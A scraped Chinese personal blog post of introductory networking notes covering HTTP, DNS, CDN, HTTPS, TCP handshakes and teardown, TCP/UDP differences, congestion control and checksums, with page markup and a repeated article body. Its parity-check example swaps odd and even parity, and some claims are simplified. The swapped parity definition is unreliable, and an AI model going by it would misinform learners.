服务器错误\n域名dns解析，发起TCP的3次握手，建立TCP连接发起http请求，服务器响应http请求，发送资源，浏览器得到资源后进行解析渲染\nTCP的三次握手：\n握手的目的是进行信息的同步，tcp是一种可靠连接，客户端和服务端会经历建立连接的阶段，而这个建立TCP连接的过程就是所谓的握手（握手实质是发送TCP报文）\n第一次握手客户端向服务器发送一个SYN段为1（Seq为随机数）的TCP/IP数据包（客户端进入SYN_SENT状态，已发送同步数据）\n第二次握手服务器返回客户端SYN和ACK（SYN为1，ACK为上一次握手Seq的值+1，Seq又为另一个随机数）的TCP/IP数据包（服务端进入SYN_RECVD状态，表示同步数据已收到）\n第三次握手客户端返回一个ACK段为上一次握手的Seq的值+1，Seq的值为另一个随机数的TCP/IP数据包给服务器（客户端接收到ACK为1的确认报文，正式进入连接状态）\nACK和Seq实质上是确认服务器和客户端都可以正常响应的（响应没有丢失，并且传输的数据也正确），只有三次握手完成才能建立HTTP连接\nTCP四次挥手\nTCP四次挥手是指关闭TCP连接的过程（断开TCP连接）\n第一次：当客户端的某个数据传输完毕后需要断开连接，向TCP发送FIN=1（报文段），要求停止再发送数据，关闭TCP连接（客户端进入FIN_WAIT_1状态，终止等待）\n第二次：服务端收到报文段并且发送确认报文段（ACK=1），进入等待关闭的状态（服务端进入CLOSE_WAIT状态（关闭等待））\n第三次：当服务端的数据传输完毕后，服务端发送连接断开的报文段（FIN = 1,ACK=1），进入最后的等待状态（服务端进入LAST_ACK状态，最后的确定）\n第四次：当客户端收到服务端的断开的报文段（FIN = 1），并且发送确认的报文段（ACK = 1），进入等待状态（CLOSe状态）\n实质上完成四次挥手也是没有断开的，需要经过等待定时器2MSL，才会关闭，保证下一次新连接中不会出现以前连接遗留的报文段\n2MSL即两倍的MSL，TCP的TIME_WAIT状态也称为2MSL等待状态\nTIME_WAIT状态是为了避免网络问题，导致ACK报文无法被对方接收到，而利用这个时间来重发可能丢失的报文\nMSL(Maximum Segment Lifetime)报文最长存活时间，表示报文可以存活的最长时间，而2MSL足以让客户端的报文和服务端的报文都失效了，确保没有当前的连接的报文还存活\n注意：如果在等待时间内，接收到了FIN字段的报文将会导致2MSL重新计算，直到没有接收到FIN字段的报文，并且也过了2MSL后才会断开TCP连接\nHTTP 1.1可以在一次连接中处理多个请求，请求排队处理，而不像1.0那样每一次请求都要建立单独的TCP连接，每一次请求完毕后，自动释放\n设置请求优先级，在一次连接中处理多个请求，必定会出现请求堵塞，因此，给请求设置优先级，重要的请求先得到响应\n请求头压缩，基于https的加密协议传输\nHTTP 2.0性能提升，可以在一次连接中处理多个请求，而且还是并行进行的，不会出现堵塞问题\nconst errorMessage = [\r{ code: 400, msg: '请求错误' },\r{ code: 401, msg: '未授权，请登录' },\r{ code: 403, msg: '拒绝访问' },\r{ code: 404, msg: '请求地址出错' },\r{ code: 408, msg: '请求超时' },\r{ code: 500, msg: '服务器内部错误' },\r{ code: 501, msg: '服务未实现' },\r{ code: 502, msg: '网关错误' },\r{ code: 503, msg: '服务不可用' },\r{ code: 504, msg: '网关超时' },\r{ code: 505, msg: 'HTTP版本不受支持' }\r]\rhttp的特点：可以根据协议头的head的数据类型，来完成不同的数据类型的传输，而且能保持连接（http1.0是非长时间连接，这里的保持连接指的是HTTP1.1的KeepAlive），不区分连接者的身份（无法分辨该客户是否访问过）\nhttp请求报文：由请求行（HTTP协议版本，URL字段，方法字段），请求头（向服务端请求要什么类型的什么数据），空行（提示服务端，请求头已经发送，不会再有请求头），请求体（数据）组成\nhttp响应报文：由响应行（HTTP协议版本，状态码），响应头（响应数据是什么类型的），空行（提示客户端，响应已经发送，不会再有响应），响应体（数据）组成\nHTTP CODE：表示服务器对请求的处理结果，常见的状态码有404，200，301，502，401等等\nTCP心跳机制：客户端每隔一段时间发送心跳包给服务端，通知服务端自己还在线，可以保持长连接\nKeepAlive模式（持久连接/连接复用）：可以在发送响应后的一段时间内保持连接，并且允许在同一个连接中存在多次数据请求和响应，而非KeepAlive模式就是会在响应后立刻断开连接，再新建一个连接来请求和响应，只有HTTP1.1支持KeepAlive模式\n管线化：在持久连接下，会将请求一起打包发送（多请求），然后服务端也是打包响应（多响应），管线化必须在持久连接下完成，而且只有GET和HEAD请求支持管线化，POST有所限制，首次连接不会使用管线化机制（避免服务端不支持HTTP1.1）,而且管线化不会影响响应返回的顺序\nTCP和UDP区别：tcp在发送之前需要连接，udp在发送之前不需要连接，tcp协议保证发送的数据不丢失（并且按照顺序接收），而udp并不能保证数据可靠，数据不丢失，不重复。tcp是字节流，udp是报文流，UDP没有堵塞系统（在网络堵塞的情况，不会影响源的发送量），tcp连接是点对点，udp的连接是可以一对一，一对多，多对一，多对多的，TCP首部开销为20字节，udp为8字节，tcp为可靠信道，udp为不可靠信道\n(TCP可靠在会记录那些数据发送了，又有那些数据被接收了，那些数据没有被接收，数据包按序到达，不允许出现半点差错，tcp连接需要三次握手，四次挥手来建立连接和结束连接)\nudp确保传输可靠：传输层已经不可靠，只能在应用层添加可靠传输的机制，例如超时重新发送，添加序号（根据序号有序发送/请求），时间戳等等，或者UDT（UDP-based Data Transfer Protocol）\n(TCP在高速长距离网络上性能很差)\nudt基于udp协议，引入拥塞控制和数据可靠性控制机制。UDT是面向连接的双向的应用层协议。并且同时支持可靠的数据流传输和部分可靠的数据报传输，支持点对点(p2p)\ntcp第三次握手可以携带数据发送（客户端处在ESTABLISHED状态）\nhttp和https\nhttp是无状态协议（无状态指客户端和服务端之间无需建立持久连接，当客户端发送请求，服务端返回响应后将关闭连接，服务端不保留任何有关连接的信息）\nhttps是指基于http协议加上了ssl层，https默认端口为443\n对称加密技术：加密和解密使用同一密钥，意味着数据传输过程中需要将密钥也一同传输（这个过程很危险）\n非对称加密：加密使用公钥，解密使用私钥（也可反过来），反正加密和解密是分别使用不同的密钥，这个过程是服务端将公钥分发到网络上，客户端获取到该公钥，客户端的数据使用公钥进行加密（无法使用公钥来解密），服务端获取到加密的数据后，通过服务端的私钥进行解密，来获取正文\nURL（Uniform Resource Locator，统一资源定位符）\nURN（Uniform Resource Name，统一资源名）\n流量控制和拥塞控制\n流量控制指的是限制（控制）发送者的发送速度，避免发送数据过快，接收者来不及接收，流量控制通过滑动窗口协议（连续ARQ协议）实现，通过接收方返回的ACK包（包含接受窗口大小），利用接受窗口大小来限制（控制）发送方的数据发送\n拥塞控制\n拥塞控制目的是防止网络负载过大，TCP的4大拥塞控制算法的，慢开始算法，拥塞控制算法，快重传算法，快恢复算法\n慢开始算法：通过cwnd（congestion window）值来控制（如果cwnd为1，那么只能发送1个数据报文段）\n慢开始算法的思路就是一开始不发送大量的数据，先测一下网络的拥塞的大小，从小到大逐渐增长拥塞窗口，慢开始门限初始值为16，cwnd初始化为一个报文段（慢开始算法只在TCP连接建立时和网络超时才使用）\n拥塞控制算法：控制拥塞窗口缓慢增长，思路是每经过一次RTT往返后，拥塞窗口（cwnd）加1，线性缓慢增长，当cwnd=16（慢开始门限），改执行拥塞控制算法，线性增长（当cwnd\u003e=ssthresh时，执行拥塞控制算法），ssthresh指的是慢开始门限\n例如：当网络出现拥塞时，将下降慢开始门限（ssthresh）到cwnd/2的值，cwnd设置为1，执行慢开始算法，当cwnd=ssthresh，执行拥塞控制算法\n快重传算法：需要接收方收到失序的报文段时立刻发出重复确认（接收连续收到3次同一个重复确认，执行快重传算法，立刻重新发送丢失的数据，不等待超时时间过期），例如某个报文段被超时期限内没有收到确认信息，则认定为网络拥塞了，这时cwnd设置为1，慢开始门限（ssthresh）下降（下降一半）\n快恢复算法：快恢复算法是搭配快重传算法使用的，必须发送方接收到3个重复确认，执行快重传算法后才执行快恢复算法，（但是考虑网络出现拥塞可能收不到重复确认，所以发送方会认为网络没有拥塞，设置swnd等于ssthresh/2，执行拥塞控制算法，让cwnd线性增长）\n题外扩展1：socket是计算机之间进行通信的一种约定或一种方式，翻译为中文叫套接字，socket起源于unix的进程通信机制，可通过socket来向网络发送请求或者回复网络请求，socket是应用层和TCP/IP协议族通信的抽象层\n题外扩展2：webSocket是在单个TCP连接上进行全双工通信(full-duplex)的协议，允许服务端主动向客户端发送数据，在webSocket中，客户端和服务端只需要完成一次握手就是可以建立持久性连接，并且进行双向数据传输\n当浏览器访问一个域名时，发送了什么事情？\n客户端（浏览器端）访问域名，该域名下的DNS解析服务器将解析出ip地址，并且通过该ip地址找到目标web服务端\n客户端通过tcp3次握手和服务端建立TCP连接，客户端根据需求，向web服务端发送http请求报文，向服务器请求所需要的资源文件，web服务端接收到http请求报文，根据要求返回HTTP响应报文\n如果请求资源是html文档，则将对应目录下的HTML文档，以响应内容的方式返回给客户端，而当请求资源是php文件或者jsp文件时，由于web服务器无法处理php脚本或者jsp脚本文件，需要委托给专门的php引擎或者jsp引擎，引擎动态解析成html，然后将其返回给web服务器，web服务端再发送给客户端\nhttp的长连接（复用tcp/http连接）\nConnection ID：用于区分http连接，不同的http连接，ID是不同的\n判断是否是http长连接，通过headers的Connection来判断，如果为keep-alive就是代表该请求是http的长连接完成的，如果是close表示是短连接\n因为浏览器限制一个域最大创建6个连接，如果一个域有7个连接需求，就需要等待前面的6个连接其中一个响应完成后再建立连接（连接阻塞）\nTCP的可靠性\n奇偶校验（在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错）\n这里使用的是00001010，a的二进制\n奇校验：在字节后补个0，例如：000010100，位为1的数量为偶数（2个）\n偶校验：在字节后补个1，例如：000010101，位为1的数量为奇数（3个）\n累加和校验（在数据包的最后加入之前全部数据的字节点累加和）\n例如：要传输8，10，2，5，12\n加上累加后实质的数据包为8，10，2，5，12，37\n而且这个37就是前面全部数据的累加校验和，数据接收方只需要对前面的数据进行累加计算，如果这个本地的累加计算和数据包最后一个字节不相同时，认定数据错误，否则数据正确\nCRC校验（CRC算法）\nDV（域名验证）证书，OV（组织验证）证书，EV（扩展验证）证书\nDV ssl证书颁发只验证申请人是否具备域名所有权，OV ssl证书颁发验证申请人的身份证明，确认对方的身份，EV ssl证书颁发最为严格，在验证申请人的身份证明，一般都是银行，金融，电子商务，大型企业，保险等需要最高级别加密才会使用（因为EV证书价格贵）\n","wordCount":"246","inLanguage":"en","datePublished":"2021-08-08T17:02:00Z","dateModified":"2021-08-08T17:02:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/77/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单认识HTTP协议</h1><div class=post-meta><span title='2021-08-08 17:02:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e8%ae%a4%e8%af%86HTTP%e5%8d%8f%e8%ae%ae.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的</p><p>HTTP是基于TCP/IP协议来传输数据的</p><p>访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应</p><p>浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL</p><p>http是一种协议，制定了客户端与服务端信息数据的传递的规则</p><p>从传递文本，到传递图片，音频，视频</p><p>HTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令
+1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单认识HTTP协议","item":"https://chenjunlinabc.github.io/posts/77/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单认识HTTP协议","name":"简单认识HTTP协议","description":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误","keywords":["http"],"articleBody":"HTTP（HyperText Transfer Protocol）中文叫超文本传输协议，从中文名就知道是传输html文件或者其他超文本文件的\nHTTP是基于TCP/IP协议来传输数据的\n访问http服务器可以直接通过ip或者域名（域名其实是解析到ip的，实际上还是访问ip），通过web服务器提供的端口来进行请求或者响应\n浏览器和web服务器之间通信的架构叫B/S结构（Browser Server），使用的协议是HTTP（https协议其实就是HTTP的基础上，添加了SSL\nhttp是一种协议，制定了客户端与服务端信息数据的传递的规则\n从传递文本，到传递图片，音频，视频\nHTTP/0.9：于1990年问世，只能用于简单文字的交换，只有GET命令 HTTP/1.0：被正式列为www传输的标准，纳入RFC1945，增加status code和header，支持多字符集，权限，缓存等功能 HTTP/1.1：在1.0的基础上加上了连接方式的规约，持久连接，pipeline，host头 HTTP/2.0：HTTP2.0更安全，性能更好，二进制传输（2之前是字符串传输）\nhttp协议规定了会话是由客户端发起，服务端响应的\n客户端常见请求方式有GET，POST\nOSI七层模型，http协议是最上层的应用层\n应用层，表示层，会话层，传输层，网络层，数据链路层，物理层\n数据发送是从应用层到物理层（数据封装）\n数据接收是从物理层到应用层（数据解包）\n应用层就是为终端提供服务的，例如http，ftp等等\n表示层为数据提供压缩，加密等等功能\n会话层就是通过会话标识来确定是于哪个应用在通讯\n传输层就是定义了数据传输的协议和端口\n网络层就是加工数据，为数据添加一些信息，这一层的数据叫做包\n数据链路层就是定义了在单个链路上如何传输数据，网络中每台设备都有一个唯一的网络标识（MAC地址），这一层的数据叫做帧\n物理层就是物理设备的标准\nTCP/IP五层模型：应用层，传输层，网络层，数据链路层和物理层\n路由寻址：ip，mac，dhcp服务器\n先通过ip实现跨网端通信（如果是本地则直接传输给目标机器，不是则传输给出口路由器，一直到目标路由），然后通过MAC找到目标机器，目标机器获取到数据再根据网络模型向上处理\nDNS\nDNS域名系统是一个记录IP和域名映射的，域名服务器是分布式的，全世界一共有13台根域名服务器，当域名服务器只要自己解析不了，就会交给根域名服务器处理\n解析过程：\n机器通过访问本地域名服务器（一般是本地运营商提供，默认解析服务器）查询\n本地域名服务器检查缓存，没有就是向根域名服务器的其中一台发起查询请求\n根域名服务器根据要查询的结构找到对应的顶级域名服务器（管理全部注册在上面的二级域名服务器）信息发送会本地域名服务器\n本地域名服务器向顶级域名服务器发起查询\n顶级域名服务器根据域名结构查找到对应的二级域名服务器\n反复迭代最终查找到域名和 IP 的对应关系\n如果直接设置个公共域名服务器（例如：114，8之类的）能大大提升解析速度\nDNS解析的记录类型\nA记录\n直接将域名解析为IP\nCNAME记录\n给域名起个cname别名，例如访问了xxx会转发到aaa的域名上\nNS记录\n域名解析服务器记录，一般用来指定不同子域名对应到不同的解析服务器\nMX 记录\n电子邮箱服务，将指向邮件服务器地址\nCDN加速过程：\n用户访问域名地址\n因为域名被cdn接管了，域名解析只能获取到CNAME\nCDN通过CNAME来将地址代理到cdn服务器上，而不是源站\n通过CNAME获取到最近的cdn服务器的Ip地址，然后访问到cdn缓存服务器\ncdn缓存服务器再根据策略来判断是否存在该资源缓存，是否要向源站请求数据，再将数据返回给用户\nHTTPS协议\n通过http通信，经过SSL/TLS来建立安全信道，加密数据，http默认端口为80，https为443\nhttps就是在http协议基础上加了ssl协议\n一般服务端需要通过ssl证书来证明自己身份，ssl证书不可逆向，不可伪造，一旦发现伪造或者ssl证书不正确，浏览器一般都会拦截提示\n某些需要极其安全的需要客户端也是要证明身份，例如银行网站\nSSL协议：保证数据发送到正确目标，数据加密防止数据中途被拦截获取，保证数据完整性，数据不被串改\nHTTP方法：定义了对资源的操作，例如GET，POST等等\n前端中的HTTP\n先进行DNS解析-建立TCP连接（3次握手）-发送HTTP请求获取相关内容-浏览器构建DOM树和CSS树，然后生成渲染树。这个一个渐进式过程，浏览器引擎会力求最快将内容呈现给用户-关闭TCP连接（4次握手）\nhttp常见状态码\n1xx 信息 2xx 成功 3xx 重定向 4xx 客户端错误 5xx 服务器错误\n域名dns解析，发起TCP的3次握手，建立TCP连接发起http请求，服务器响应http请求，发送资源，浏览器得到资源后进行解析渲染\nTCP的三次握手：\n握手的目的是进行信息的同步，tcp是一种可靠连接，客户端和服务端会经历建立连接的阶段，而这个建立TCP连接的过程就是所谓的握手（握手实质是发送TCP报文）\n第一次握手客户端向服务器发送一个SYN段为1（Seq为随机数）的TCP/IP数据包（客户端进入SYN_SENT状态，已发送同步数据）\n第二次握手服务器返回客户端SYN和ACK（SYN为1，ACK为上一次握手Seq的值+1，Seq又为另一个随机数）的TCP/IP数据包（服务端进入SYN_RECVD状态，表示同步数据已收到）\n第三次握手客户端返回一个ACK段为上一次握手的Seq的值+1，Seq的值为另一个随机数的TCP/IP数据包给服务器（客户端接收到ACK为1的确认报文，正式进入连接状态）\nACK和Seq实质上是确认服务器和客户端都可以正常响应的（响应没有丢失，并且传输的数据也正确），只有三次握手完成才能建立HTTP连接\nTCP四次挥手\nTCP四次挥手是指关闭TCP连接的过程（断开TCP连接）\n第一次：当客户端的某个数据传输完毕后需要断开连接，向TCP发送FIN=1（报文段），要求停止再发送数据，关闭TCP连接（客户端进入FIN_WAIT_1状态，终止等待）\n第二次：服务端收到报文段并且发送确认报文段（ACK=1），进入等待关闭的状态（服务端进入CLOSE_WAIT状态（关闭等待））\n第三次：当服务端的数据传输完毕后，服务端发送连接断开的报文段（FIN = 1,ACK=1），进入最后的等待状态（服务端进入LAST_ACK状态，最后的确定）\n第四次：当客户端收到服务端的断开的报文段（FIN = 1），并且发送确认的报文段（ACK = 1），进入等待状态（CLOSe状态）\n实质上完成四次挥手也是没有断开的，需要经过等待定时器2MSL，才会关闭，保证下一次新连接中不会出现以前连接遗留的报文段\n2MSL即两倍的MSL，TCP的TIME_WAIT状态也称为2MSL等待状态\nTIME_WAIT状态是为了避免网络问题，导致ACK报文无法被对方接收到，而利用这个时间来重发可能丢失的报文\nMSL(Maximum Segment Lifetime)报文最长存活时间，表示报文可以存活的最长时间，而2MSL足以让客户端的报文和服务端的报文都失效了，确保没有当前的连接的报文还存活\n注意：如果在等待时间内，接收到了FIN字段的报文将会导致2MSL重新计算，直到没有接收到FIN字段的报文，并且也过了2MSL后才会断开TCP连接\nHTTP 1.1可以在一次连接中处理多个请求，请求排队处理，而不像1.0那样每一次请求都要建立单独的TCP连接，每一次请求完毕后，自动释放\n设置请求优先级，在一次连接中处理多个请求，必定会出现请求堵塞，因此，给请求设置优先级，重要的请求先得到响应\n请求头压缩，基于https的加密协议传输\nHTTP 2.0性能提升，可以在一次连接中处理多个请求，而且还是并行进行的，不会出现堵塞问题\nconst errorMessage = [ { code: 400, msg: '请求错误' }, { code: 401, msg: '未授权，请登录' }, { code: 403, msg: '拒绝访问' }, { code: 404, msg: '请求地址出错' }, { code: 408, msg: '请求超时' }, { code: 500, msg: '服务器内部错误' }, { code: 501, msg: '服务未实现' }, { code: 502, msg: '网关错误' }, { code: 503, msg: '服务不可用' }, { code: 504, msg: '网关超时' }, { code: 505, msg: 'HTTP版本不受支持' } ] http的特点：可以根据协议头的head的数据类型，来完成不同的数据类型的传输，而且能保持连接（http1.0是非长时间连接，这里的保持连接指的是HTTP1.1的KeepAlive），不区分连接者的身份（无法分辨该客户是否访问过）\nhttp请求报文：由请求行（HTTP协议版本，URL字段，方法字段），请求头（向服务端请求要什么类型的什么数据），空行（提示服务端，请求头已经发送，不会再有请求头），请求体（数据）组成\nhttp响应报文：由响应行（HTTP协议版本，状态码），响应头（响应数据是什么类型的），空行（提示客户端，响应已经发送，不会再有响应），响应体（数据）组成\nHTTP CODE：表示服务器对请求的处理结果，常见的状态码有404，200，301，502，401等等\nTCP心跳机制：客户端每隔一段时间发送心跳包给服务端，通知服务端自己还在线，可以保持长连接\nKeepAlive模式（持久连接/连接复用）：可以在发送响应后的一段时间内保持连接，并且允许在同一个连接中存在多次数据请求和响应，而非KeepAlive模式就是会在响应后立刻断开连接，再新建一个连接来请求和响应，只有HTTP1.1支持KeepAlive模式\n管线化：在持久连接下，会将请求一起打包发送（多请求），然后服务端也是打包响应（多响应），管线化必须在持久连接下完成，而且只有GET和HEAD请求支持管线化，POST有所限制，首次连接不会使用管线化机制（避免服务端不支持HTTP1.1）,而且管线化不会影响响应返回的顺序\nTCP和UDP区别：tcp在发送之前需要连接，udp在发送之前不需要连接，tcp协议保证发送的数据不丢失（并且按照顺序接收），而udp并不能保证数据可靠，数据不丢失，不重复。tcp是字节流，udp是报文流，UDP没有堵塞系统（在网络堵塞的情况，不会影响源的发送量），tcp连接是点对点，udp的连接是可以一对一，一对多，多对一，多对多的，TCP首部开销为20字节，udp为8字节，tcp为可靠信道，udp为不可靠信道\n(TCP可靠在会记录那些数据发送了，又有那些数据被接收了，那些数据没有被接收，数据包按序到达，不允许出现半点差错，tcp连接需要三次握手，四次挥手来建立连接和结束连接)\nudp确保传输可靠：传输层已经不可靠，只能在应用层添加可靠传输的机制，例如超时重新发送，添加序号（根据序号有序发送/请求），时间戳等等，或者UDT（UDP-based Data Transfer Protocol）\n(TCP在高速长距离网络上性能很差)\nudt基于udp协议，引入拥塞控制和数据可靠性控制机制。UDT是面向连接的双向的应用层协议。并且同时支持可靠的数据流传输和部分可靠的数据报传输，支持点对点(p2p)\ntcp第三次握手可以携带数据发送（客户端处在ESTABLISHED状态）\nhttp和https\nhttp是无状态协议（无状态指客户端和服务端之间无需建立持久连接，当客户端发送请求，服务端返回响应后将关闭连接，服务端不保留任何有关连接的信息）\nhttps是指基于http协议加上了ssl层，https默认端口为443\n对称加密技术：加密和解密使用同一密钥，意味着数据传输过程中需要将密钥也一同传输（这个过程很危险）\n非对称加密：加密使用公钥，解密使用私钥（也可反过来），反正加密和解密是分别使用不同的密钥，这个过程是服务端将公钥分发到网络上，客户端获取到该公钥，客户端的数据使用公钥进行加密（无法使用公钥来解密），服务端获取到加密的数据后，通过服务端的私钥进行解密，来获取正文\nURL（Uniform Resource Locator，统一资源定位符）\nURN（Uniform Resource Name，统一资源名）\n流量控制和拥塞控制\n流量控制指的是限制（控制）发送者的发送速度，避免发送数据过快，接收者来不及接收，流量控制通过滑动窗口协议（连续ARQ协议）实现，通过接收方返回的ACK包（包含接受窗口大小），利用接受窗口大小来限制（控制）发送方的数据发送\n拥塞控制\n拥塞控制目的是防止网络负载过大，TCP的4大拥塞控制算法的，慢开始算法，拥塞控制算法，快重传算法，快恢复算法\n慢开始算法：通过cwnd（congestion 